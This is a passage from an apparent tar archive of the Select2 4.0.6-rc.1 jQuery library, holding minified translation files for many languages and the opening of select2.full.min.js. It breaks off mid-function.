(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Per favore cancella "+t+" caratter";return t!==1?n+="i":n+="e",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Per favore inserisci "+t+" o più caratteri";return n},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var t="Puoi selezionare solo "+e.maximum+" element";return e.maximum!==1?t+="i":t+="o",t},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"}}}),{define:e.define,require:e.require}})();js/i18n/id.js000064400000001367151677410160006710 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Hapuskan "+t+" huruf"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Masukkan "+t+" huruf lagi"},loadingMore:function(){return"Mengambil data…"},maximumSelected:function(e){return"Anda hanya dapat memilih "+e.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})();js/i18n/af.js000064400000001525151677410160006676 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Verwyders asseblief "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Voer asseblief "+t+" of meer karakters";return n},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var t="Kies asseblief net "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"}}}),{define:e.define,require:e.require}})();js/i18n/ro.js000064400000001625151677410160006731 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return t!==1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vă rugăm să introduceți "+t+" sau mai multe caractere";return n},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",e.maximum!==1&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"}}}),{define:e.define,require:e.require}})();js/i18n/mk.js000064400000001732151677410160006717 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/mk",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Ве молиме внесете "+e.maximum+" помалку карактер";return e.maximum!==1&&(n+="и"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Ве молиме внесете уште "+e.maximum+" карактер";return e.maximum!==1&&(n+="и"),n},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(e){var t="Можете да изберете само "+e.maximum+" ставк";return e.maximum===1?t+="а":t+="и",t},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"}}}),{define:e.define,require:e.require}})();js/i18n/fi.js000064400000001425151677410160006705 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Ole hyvä ja anna "+t+" merkkiä vähemmän"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Ole hyvä ja anna "+t+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(e){return"Voit valita ainoastaan "+e.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"}}}),{define:e.define,require:e.require}})();js/i18n/gl.js000064400000001575151677410160006717 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var t=e.input.length-e.maximum;return t===1?"Elimine un carácter":"Elimine "+t+" caracteres"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t===1?"Engada un carácter":"Engada "+t+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return e.maximum===1?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();js/i18n/sk.js000064400000002371151677410160006725 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadajte o jeden znak menej":n>=2&&n<=4?"Prosím, zadajte o "+e[n](!0)+" znaky menej":"Prosím, zadajte o "+n+" znakov menej"},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadajte ešte jeden znak":n<=4?"Prosím, zadajte ešte ďalšie "+e[n](!0)+" znaky":"Prosím, zadajte ešte ďalších "+n+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(t){return t.maximum==1?"Môžete zvoliť len jednu položku":t.maximum>=2&&t.maximum<=4?"Môžete zvoliť najviac "+e[t.maximum](!1)+" položky":"Môžete zvoliť najviac "+t.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"}}}),{define:e.define,require:e.require}})();js/i18n/da.js000064400000001457151677410160006700 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/da",[],function(){return{errorLoading:function(){return"Resultaterne kunne ikke indlæses."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Angiv venligst "+t+" tegn mindre"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Angiv venligst "+t+" tegn mere"},loadingMore:function(){return"Indlæser flere resultater…"},maximumSelected:function(e){var t="Du kan kun vælge "+e.maximum+" emne";return e.maximum!=1&&(t+="r"),t},noResults:function(){return"Ingen resultater fundet"},searching:function(){return"Søger…"}}}),{define:e.define,require:e.require}})();js/i18n/ru.js000064400000002156151677410160006737 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ru",[],function(){function e(e,t,n,r){return e%10<5&&e%10>0&&e%100<5||e%100>20?e%10>1?n:t:r}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Пожалуйста, введите на "+n+" символ";return r+=e(n,"","a","ов"),r+=" меньше",r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Пожалуйста, введите еще хотя бы "+n+" символ";return r+=e(n,"","a","ов"),r},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(t){var n="Вы можете выбрать не более "+t.maximum+" элемент";return n+=e(t.maximum,"","a","ов"),n},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"}}}),{define:e.define,require:e.require}})();js/i18n/zh-CN.js000064400000001410151677410160007220 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="请删除"+t+"个字符";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="请再输入至少"+t+"个字符";return n},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(e){var t="最多只能选择"+e.maximum+"个项目";return t},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"}}}),{define:e.define,require:e.require}})();js/i18n/dsb.js000064400000001776151677410160007070 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/dsb",[],function(){var e=["znamuško","znamušce","znamuška","znamuškow"],t=["zapisk","zapiska","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Pšosym lašuj "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Pšosym zapódaj nanejmjenjej "+r+" "+n(r,e)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(e){return"Móžoš jano "+e.maximum+" "+n(e.maximum,t)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"}}}),{define:e.define,require:e.require}})();js/i18n/ko.js000064400000001535151677410160006722 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="너무 깁니다. "+t+" 글자 지워주세요.";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="너무 짧습니다. "+t+" 글자 더 입력해주세요.";return n},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(e){var t="최대 "+e.maximum+"개까지만 선택 가능합니다.";return t},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"}}}),{define:e.define,require:e.require}})();js/i18n/uk.js000064400000002144151677410160006725 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/uk",[],function(){function e(e,t,n,r){return e%100>10&&e%100<15?r:e%10===1?t:e%10>1&&e%10<5?n:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Будь ласка, видаліть "+n+" "+e(t.maximum,"літеру","літери","літер")},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Будь ласка, введіть "+t+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(t){return"Ви можете вибрати лише "+t.maximum+" "+e(t.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"}}}),{define:e.define,require:e.require}})();js/i18n/hi.js000064400000002154151677410160006707 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" अक्षर को हटा दें";return t>1&&(n=t+" अक्षरों को हटा दें "),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="कृपया "+t+" या अधिक अक्षर दर्ज करें";return n},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(e){var t="आप केवल "+e.maximum+" आइटम का चयन कर सकते हैं";return t},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."}}}),{define:e.define,require:e.require}})();js/i18n/km.js000064400000002060151677410160006712 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="សូមលុបចេញ  "+t+" អក្សរ";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="សូមបញ្ចូល"+t+" អក្សរ រឺ ច្រើនជាងនេះ";return n},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(e){var t="អ្នកអាចជ្រើសរើសបានតែ "+e.maximum+" ជម្រើសប៉ុណ្ណោះ";return t},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."}}}),{define:e.define,require:e.require}})();js/i18n/lt.js000064400000001630151677410160006724 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lt",[],function(){function e(e,t,n,r){return e%10===1&&(e%100<11||e%100>19)?t:e%10>=2&&e%10<=9&&(e%100<11||e%100>19)?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Pašalinkite "+n+" simbol";return r+=e(n,"į","ius","ių"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Įrašykite dar "+n+" simbol";return r+=e(n,"į","ius","ių"),r},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(t){var n="Jūs galite pasirinkti tik "+t.maximum+" element";return n+=e(t.maximum,"ą","us","ų"),n},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"}}}),{define:e.define,require:e.require}})();js/i18n/tr.js000064400000001414151677410160006732 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" karakter daha girmelisiniz";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="En az "+t+" karakter daha girmelisiniz";return n},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(e){var t="Sadece "+e.maximum+" seçim yapabilirsiniz";return t},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"}}}),{define:e.define,require:e.require}})();js/i18n/az.js000064400000001304151677410160006715 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/az",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum;return t+" simvol silin"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(e){return"Sadəcə "+e.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"}}}),{define:e.define,require:e.require}})();js/select2.full.min.js000064400000224760151677410160010625 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k<a.length;k++)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(0===k||1===k&&".."===a[2]||".."===a[k-1])continue;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o<c.length;o+=1)if(n=p(c[o],t),"require"===(k=n.f))w[o]=q.require(a);else if("exports"===k)w[o]=q.exports(a),v=!0;else if("module"===k)h=w[o]=q.module(a);else if(e(r,k)||e(s,k)||e(u,k))w[o]=j(k);else{if(!n.p)throw new Error(a+" missing "+k);n.p.load(n.n,g(f,!0),i(k),{}),w[o]=r[k]}m=d?d.apply(r[a],w):void 0,a&&(h&&h.exports!==b&&h.exports!==r[a]?r[a]=h.exports:m===b&&v||(r[a]=m))}else a&&(r[a]=d)},a=c=o=function(a,c,d,e,f){if("string"==typeof a)return q[a]?q[a](c):j(p(a,l(c)).f);if(!a.splice){if(t=a,t.deps&&o(t.deps,t.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c||function(){},"function"==typeof d&&(d=e,e=f),e?n(b,a,c,d):setTimeout(function(){n(b,a,c,d)},4),o},o.config=function(a){return o(a)},a._defined=r,d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice||(c=b,b=[]),e(r,a)||e(s,a)||(s[a]=[a,b,c])},d.amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d}}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a||$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&("constructor"!==d&&c.push(d))}return c}var c={};c.Extend=function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},c.Decorate=function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h<g.length;h++){var i=g[h];d.prototype[i]=a.prototype[i]}for(var j=(function(a){var b=function(){};a in d.prototype&&(b=d.prototype[a]);var e=c.prototype[a];return function(){return Array.prototype.unshift.call(arguments,b),e.apply(this,arguments)}}),k=0;k<f.length;k++){var l=f[k];d.prototype[l]=j(l)}return d};var d=function(){this.listeners={}};d.prototype.on=function(a,b){this.listeners=this.listeners||{},a in this.listeners?this.listeners[a].push(b):this.listeners[a]=[b]},d.prototype.trigger=function(a){var b=Array.prototype.slice,c=b.call(arguments,1);this.listeners=this.listeners||{},null==c&&(c=[]),0===c.length&&c.push({}),c[0]._type=a,a in this.listeners&&this.invoke(this.listeners[a],b.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},d.prototype.invoke=function(a,b){for(var c=0,d=a.length;c<d;c++)a[c].apply(this,b)},c.Observable=d,c.generateChars=function(a){for(var b="",c=0;c<a;c++){b+=Math.floor(36*Math.random()).toString(36)}return b},c.bind=function(a,b){return function(){a.apply(b,arguments)}},c._convertData=function(a){for(var b in a){var c=b.split("-"),d=a;if(1!==c.length){for(var e=0;e<c.length;e++){var f=c[e];f=f.substring(0,1).toLowerCase()+f.substring(1),f in d||(d[f]={}),e==c.length-1&&(d[f]=a[b]),d=d[f]}delete a[b]}}return a},c.hasScroll=function(b,c){var d=a(c),e=c.style.overflowX,f=c.style.overflowY;return(e!==f||"hidden"!==f&&"visible"!==f)&&("scroll"===e||"scroll"===f||(d.innerHeight()<c.scrollHeight||d.innerWidth()<c.scrollWidth))},c.escapeMarkup=function(a){var b={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<ul class="select2-results__options" role="tree"></ul>');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('<li role="treeitem" aria-live="assertive" class="select2-results__option"></li>'),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c<a.results.length;c++){var d=a.results[c],e=this.option(d);b.push(e)}this.$results.append(b)},c.prototype.position=function(a,b){b.find(".select2-results").append(a)},c.prototype.sort=function(a){return this.options.get("sorter")(a)},c.prototype.highlightFirstItem=function(){var a=this.$results.find(".select2-results__option[aria-selected]"),b=a.filter("[aria-selected=true]");b.length>0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k<c.children.length;k++){var l=c.children[k],m=this.option(l);j.push(m)}var n=a("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=e.$results.scrollTop(),c=e.$results.get(0).scrollHeight-b+a.deltaY,d=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=e.$results.height();d?(e.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(e.$results.scrollTop(e.$results.get(0).scrollHeight-e.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(c){var d=a(this),f=b.GetData(this,"data");if("true"===d.attr("aria-selected"))return 